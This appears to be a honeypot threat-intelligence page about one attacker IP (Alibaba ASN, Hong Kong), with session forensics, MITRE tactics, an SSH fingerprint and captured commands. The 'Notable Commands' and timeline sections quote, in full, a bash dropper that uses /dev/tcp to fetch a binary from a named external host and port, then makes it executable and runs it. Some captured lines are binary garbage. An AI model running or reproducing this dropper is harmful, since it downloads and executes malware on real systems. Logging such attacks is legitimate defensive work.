← Back to feed
Location
🇭🇰 HK / Hong Kong
ASN
AS45102 · Alibaba US Technology Co., Ltd.
Cloud Provider
—
Total Events
14
Average by volume
Agent Count
1
First / Last Seen
2026-04-13 21:01 — 2026-04-13 21:01
Attack Types
MITRE ATT&CK Techniques
Initial Access
Execution
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
Sessions
1 (1 with login)
Avg Depth Score
1.0
Commands Executed
5
Files Downloaded
1
Notable Commands
- nohup bash -c "exec 6<>/dev/tcp/8.217.209.169/60119 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/r6xtibAIht && chmod +x /tmp/r6xtibAIht && /tmp/r6xtibAIht +FJD19tDVuL9UFXV2V1U//5FWdjBX1b74lRf2MFfVPb6VVzd201d4v5UWsHdXFHi/V1c1dldVPj4RVnYwVpT4v1QVMHeVF32+lVc29tNXeL+VFTB3ltc4v1SXdXZXVT99UVVwd1cUuL+VVTB3ltc9vpVXN7WTV3i/lRUwdhcS/31XVfZ31xR+exUW9zBXFz+4lRfwd1eUvb6VVzf2U1R++JXXtjBX1Hi/VZf1dldVP30RVnYwV9W++JUWNzBVVX2+lVc3d1NUfviUlvB3FtL/ftXV9nfXFf+WpJRcJ8895YI" &
- dd bs=1 count=1911588 > /tmp/IqGwwKAJXY
- nohup bash -c "exec 6<>/dev/tcp/8.217.209.169/60119 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/r6xtibAIht && chmod +x /tmp/r6xtibAIht && /tmp/r6xtibAIht +FJD19tDVuL9UFXV2V1U//5FWdjBX1b74lRf2MFfVPb6VVzd201d4v5UWsHdXFHi/V1c1dldVPj4RVnYwVpT4v1QVMHeVF32+lVc29tNXeL+VFTB3ltc4v1SXdXZXVT99UVVwd1cUuL+VVTB3ltc9vpVXN7WTV3i/lRUwdhcS/31XVfZ31xR+exUW9zBXFz+4lRfwd1eUvb6VVzf2U1R++JXXtjBX1Hi/VZf1dldVP30RVnYwV9W++JUWNzBVVX2+lVc3d1NUfviUlvB3FtL/ftXV9nfXFf+WpJRcJ8895YI" &0O0O6(6(Qtd?UPX!
- >D6@/XJ'8
- CMD:
Fingerprints
HASSH
SSH Client
Evidence Timeline
Malware Dropper
f37c956eed12
LOGIN
5
1
2
100%
Loading events...
HASSH 2f5ebb184f5d023…
SSH-2.0-makiko
$ nohup bash -c "exec 6<>/dev/tcp/8.217.209.169/60119 && echo…$ dd bs=1 count=1911588 > /tmp/IqGwwKAJXY$ nohup bash -c "exec 6<>/dev/tcp/8.217.209.169/60119 && echo…$ >D6@/XJ'8$ CMD: